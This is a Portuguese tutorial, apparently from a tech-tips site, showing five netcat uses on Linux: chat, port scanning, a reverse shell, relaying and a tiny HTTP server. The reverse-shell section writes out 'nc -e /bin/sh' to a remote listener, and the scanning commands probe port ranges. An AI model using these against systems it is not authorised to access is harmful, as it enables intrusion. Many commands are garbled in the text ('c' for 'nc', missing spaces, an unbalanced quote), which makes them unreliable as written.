5 Usos Simples e Fáceis para Netcat no Linux

Netcat é uma poderosa ferramenta de rede de linha de comando no Linux que pode enviar e escutar pacotes TCP e UDP. Ao contrário de outras ferramentas de rede, o netcat é extremamente básico. No entanto, sua simplicidade também permite que ele realize quase qualquer tipo de atividade em uma rede.
Este artigo mostrará 5 tarefas simples de rede que você pode realizar com o netcat. Além disso, este artigo também destacará o que torna o netcat especial e por que você deve incluí-lo em seu kit de ferramentas do Linux.
Índice
- Como o Netcat Funciona e Por Que Usá-lo?
- Sessão de Chat Ponto a Ponto
- Scanner de Portas Básico
- Shell Reversa
- Revezamento Básico de Pacotes
- Servidor HTTP Básico
- Perguntas Frequentes
Como o Netcat Funciona e Por Que Usá-lo?
Netcat é uma ferramenta básica que pode enviar e receber pacotes de rede. Foi lançado pela primeira vez em 1995 por um programador pseudônimo chamado Hobbit. Desde então, o netcat tem sido uma parte importante de cada distribuição Linux.
Em sua essência, o netcat funciona enviando solicitações de rede de um host Linux para outro. Esta solicitação de rede pode conter qualquer tipo de dado e você pode enviá-la em qualquer porta.

Essa abordagem significa que o netcat pode criar qualquer tipo de conexão de rede possível. Por exemplo, o programa pode criar conexões TCP diretas que você pode usar para transferir arquivos ou criar sessões de shell reversas.

1. Sessão de Chat Ponto a Ponto
Um dos usos mais básicos para o netcat é uma simples sessão de chat ponto a ponto entre duas máquinas Linux. Este é um método de comunicação que não depende de nenhum servidor de terceiros para enviar e receber informações.
- Para que isso funcione, você precisa abrir uma porta entre 49152 e 65536 em sua máquina local. É aqui que um host remoto poderá se conectar e enviar informações arbitrárias para sua máquina.
sudo ufw allow 50000- Você também precisa abrir uma porta diferente no host remoto para que sua máquina possa enviar informações para ele:
sudo ufw allow 50001- Execute
netcatem sua máquina com os seguintes argumentos:
nc -lp50000Isso abrirá uma sessão netcat que está ativamente escutando dados na porta 50000.
- O host remoto agora pode enviar qualquer dado de texto para sua máquina local. Por exemplo, o seguinte comando enviará a entrada padrão do sistema para uma máquina remota.
cat - | nc 192.168.122.136 50000
- Para responder à mensagem, o host remoto também precisa executar um daemon de escuta:
nc -lp50001- Agora, você também pode enviar uma mensagem da máquina local para o host remoto:
cat - | nc 192.168.122.177 50001
2. Scanner de Portas Básico
Um scanner de portas é uma ferramenta simples que verifica se um conjunto de portas em uma máquina é acessível a partir de um host remoto. Isso é extremamente útil em casos onde você não tem certeza se seu sistema tem as portas apropriadas abertas.
Para verificar uma única porta, você pode executar nc -v seguido do endereço IP e da porta que deseja verificar:
c -v 192.168.122.177 80
Você também pode fornecer uma faixa de números onde o netcat verificará sequencialmente cada número de porta dentro dessa faixa. Por exemplo, executar o seguinte comando irá escanear todas as portas “bem conhecidas” abertas:
c -v 192.168.122.177 1-1024
Uma das desvantagens de consultar portas é que isso gera tráfego de rede desnecessário. Isso pode ser um problema se você estiver testando uma grande faixa de portas em uma pequena rede doméstica.
Para corrigir isso, ative o modo “Zero I/O” do netcat, que não cria nenhuma atividade de rede no host remoto:
c -zv 192.168.122.177 1-1024
FYI: Aprenda como você pode usar o nmap mesmo sem sudo para coletar informações sobre as máquinas em sua rede local.
3. Shell Reversa
Shells reversas são o pão e a manteiga dos testes de penetração no Linux. Estas são instâncias de shell remoto que permitem que você controle um sistema mesmo sem portas de entrada abertas. Isso torna as shells reversas úteis se você precisar acessar uma máquina que não tem acesso SSH.
- Para criar uma shell reversa, você precisa abrir um daemon de escuta em sua máquina local:
c -lp50000- Inicie uma conexão netcat em sua máquina remota. Neste caso, você também precisa passar o ambiente de shell da máquina remota:
c -e/bin/sh 192.168.122.136 50000Nota: O comando acima funcionará apenas em distribuições que não são Ubuntu. Para fazer isso no Ubuntu, você precisa instalar o pacote “netcat-traditional” e substituir “nc” por “nc.traditional.”
- Volte para sua máquina local e execute um comando de shell. Por exemplo, executar
lsimprimirá o diretório atual do usuário remoto.
ls-la
- Para encerrar a sessão de shell reversa, você pode pressionar Ctrl + C no daemon de escuta de sua máquina local.

Bom saber: Aprenda como você pode usar efetivamente sua shell reversa aprendendo o básico de scripting de shell.
4. Revezamento Básico de Pacotes
Além de ler e escrever diretamente em um fluxo de rede, você também pode usar o netcat para redirecionar uma conexão de entrada para qualquer porta de saída. Isso funciona encadeando várias sessões de escuta e cliente do netcat usando pipes UNIX.
- Crie uma sessão netcat que escute na porta 50000. Esta servirá como a porta de saída para seu revezamento básico:
c -lv localhost 50000- Abra um novo terminal e execute o seguinte comando:
c -lv localhost 50001 | nc localhost 50000Fazendo isso, você criará um novo daemon de escuta na porta 50001 e ele redirecionará automaticamente quaisquer pacotes nesta porta para a porta 50000.

- Agora você pode enviar dados para sua porta de entrada e o netcat redirecionará automaticamente sua saída para sua porta de saída.
echo"MakeTechEasier"| nc localhost 50001
- Além de portas locais, você também pode usar esse recurso para redirecionar qualquer tráfego de rede para uma máquina diferente. Por exemplo, o seguinte código envia dados na porta 50000 para a mesma porta em um sistema diferente:
c -lv localhost 50000| nc 192.168.122.177 50000
Nota: Para que isso funcione, você precisará executar vários processos daemon, e isso não criptografa nenhum dado que passa por ele.
5. Servidor HTTP Básico
Configurar um servidor HTTP pode ser um processo complexo, mesmo que você queira apenas servir uma única página. Nesse sentido, o netcat também pode servir como um simples servidor web estático que você pode configurar no Linux sem instalar ferramentas adicionais.
- Crie um arquivo de resposta HTTP básico. O seguinte trecho de código exibe uma página web com uma mensagem simples:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# Olá MakeTechEasier!
- Salve-o como “index.http” em seu diretório home.

- Execute o seguinte comando:
whiletrue; do{echo-e'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Agora você tem um servidor web funcionando. Você pode visitar sua página web abrindo um navegador e indo para http://localhost:8080.

- Pressione Ctrl + C no terminal para sair da sessão atual do servidor web.

Nota: Como você pode ver, este é apenas um servidor HTTP muito básico e ele é inseguro. Se você estiver executando seu próprio servidor, deve seguir estas dicas para proteger seu servidor.
Bom saber: Aprenda a gerenciar seus arquivos de forma eficaz usando sed para manipular fluxos de texto.
Perguntas Frequentes
Não consigo me conectar a uma máquina remota usando netcat.
Esse problema é mais provável que seja devido a uma porta de firewall bloqueada na máquina remota. Você precisa garantir que a porta que está usando em sua máquina esteja aberta para conexões de entrada e saída. Por exemplo, você precisa executar sudo ufw allow 49999 se quiser usar a porta 49999 na máquina remota.
É possível conectar-se a qualquer host usando netcat?
Não. Embora o netcat possa ler e escrever em qualquer fluxo de rede arbitrário, ele não pode se conectar a uma máquina que não seja descobrível a partir da rede do seu sistema. Isso inclui redes privadas que não têm encaminhamento de porta habilitado, bem como sistemas isolados que não têm acesso à rede.
É possível falsificar uma conexão no netcat?
Não. Isso ocorre porque o netcat só pode enviar e receber pacotes de uma interface de rede válida. No entanto, você pode mudar de onde aquele pacote específico vem se tiver várias interfaces de rede.
Por exemplo, você pode executar nc -l -s 10.0.0.2 -p 50000 para dizer ao netcat para enviar pacotes explicitamente usando a interface que tem o endereço IP “10.0.0.2.”
Crédito da imagem: ThisisEngineering RAEng via Unsplash. Todas as alterações e capturas de tela por Ramces Red.